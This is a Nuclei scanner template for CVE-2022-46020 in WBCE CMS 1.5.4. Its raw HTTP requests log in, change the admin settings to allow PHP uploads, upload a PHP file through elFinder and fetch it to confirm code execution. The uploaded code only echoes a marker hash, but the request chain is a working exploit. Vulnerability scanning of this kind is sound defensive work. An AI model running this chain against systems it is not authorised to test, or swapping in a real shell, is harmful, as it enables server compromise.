134 lines
4.6 KiB
YAML
134 lines
4.6 KiB
YAML
id: CVE-2022-46020
|
|
|
|
info:
|
|
name: WBCE CMS v1.5.4 - Remote Code Execution
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
WBCE CMS v1.5.4 can implement getshell by modifying the upload file type.
|
|
remediation: |
|
|
Upgrade to a patched version of WBCE CMS v1.5.5 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/WBCE/WBCE_CMS
|
|
- https://github.com/10vexh/Vulnerability/blob/main/WBCE%20CMS%20v1.5.4%20getshell.pdf
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-46020
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-46020
|
|
cwe-id: CWE-434
|
|
epss-score: 0.01254
|
|
epss-percentile: 0.84002
|
|
cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 6
|
|
vendor: wbce
|
|
product: wbce_cms
|
|
tags: cve,cve2022,rce,wbce,cms,authenticated,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /admin/login/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /admin/login/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
|
|
- |
|
|
GET /admin/settings/index.php?advanced=yes HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /admin/settings/save.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
advanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true§ion_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=
|
|
- |
|
|
POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988
|
|
|
|
-----------------------------213974337328367932543216511988
|
|
Content-Disposition: form-data; name="reqid"
|
|
|
|
test
|
|
-----------------------------213974337328367932543216511988
|
|
Content-Disposition: form-data; name="cmd"
|
|
|
|
upload
|
|
-----------------------------213974337328367932543216511988
|
|
Content-Disposition: form-data; name="target"
|
|
|
|
l1_Lw
|
|
-----------------------------213974337328367932543216511988
|
|
Content-Disposition: form-data; name="upload[]"; filename="{{randstr}}.php"
|
|
Content-Type: application/x-php
|
|
|
|
<?php
|
|
|
|
echo md5("CVE-2022-46020");
|
|
|
|
?>
|
|
|
|
-----------------------------213974337328367932543216511988
|
|
Content-Disposition: form-data; name="mtime[]"
|
|
|
|
test
|
|
-----------------------------213974337328367932543216511988--
|
|
- |
|
|
GET /media/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_6
|
|
words:
|
|
- 751a8ba516522786d551075a092a7a84
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: username_fieldname
|
|
group: 1
|
|
regex:
|
|
- name="username_fieldname" value="(.*)"
|
|
internal: true
|
|
part: body
|
|
|
|
- type: regex
|
|
name: password_fieldname
|
|
group: 1
|
|
regex:
|
|
- name="password_fieldname" value="(.*)"
|
|
internal: true
|
|
part: body
|
|
|
|
- type: regex
|
|
name: formtoken
|
|
group: 1
|
|
regex:
|
|
- name="formtoken" value="(.*)"
|
|
internal: true
|
|
part: body
|
|
|
|
- type: regex
|
|
name: app_name
|
|
group: 1
|
|
regex:
|
|
- name="app_name" value="(.*)"
|
|
internal: true
|
|
part: body
|
|
# digest: 4b0a00483046022100e8a4e045c4594830eef933527e09b083f52ea6a8b814e634b6875ef734cd783c022100c9b49b68fd0b2d8ecc4f2a0f08f1349a8bfc5b9034dd8542e160334e1e4cb0ac:922c64590222798bb761d5b6d8e72950 |